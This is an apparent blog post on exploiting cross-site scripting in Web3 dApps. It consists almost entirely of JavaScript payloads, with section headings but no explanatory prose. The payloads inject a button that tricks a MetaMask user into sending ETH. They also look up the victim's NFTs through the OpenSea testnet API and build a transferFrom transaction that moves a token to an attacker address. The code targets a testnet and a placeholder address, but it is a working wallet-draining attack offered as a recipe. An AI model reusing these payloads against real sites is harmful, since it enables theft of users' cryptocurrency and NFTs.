Exploiting Cross Site Scripting (XSS) in Web3

Introduction

Intro to smart contract

What is a blockchain transaction?

Decentralized applications (dApps) & smart contracts

MetaMask wallet in brief

  • MetaMask is a cryptocurrency wallet that enables users to store Ether and other ERC-20 tokens.
  • The wallet can also be used to interact with decentralized applications.

Web3 Authentication

What can we do?

Before starting

Connect to MetaMask!

const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
ethereum.request({ method: "eth_requestAccounts" });
});
const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: "0x0000000000000000000000000000000000000000",
from: ethereum.selectedAddress,
value: "0x2386F26FC10000",
data: "0x00",
chainId: "0x5",
};

const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
});

A new exploitation

const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
}
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});

More details about data:

document.getElementById("buy").addEventListener("click", async () => {
const req = new XMLHttpRequest();
req.open(
"GET",
`https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();
req.onreadystatechange = async () => {
if (req.readyState === 4) {
const data = JSON.parse(req.response);
const SC_address = data["assets"][0]["asset_contract"]["address"];
const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
nonce: "0x00",
gasPrice: "0x244AC6D",
gas: "0x12A52",
to: SC_address,
from: ethereum.selectedAddress,
value: "0x00",
data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
chainId: "0x5",
};
const txHash = await ethereum.request({
method: "eth_sendTransaction",
params: [transactionParameters],
});
}
};
});

Thanks for your reading, I hope my story was useful.

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store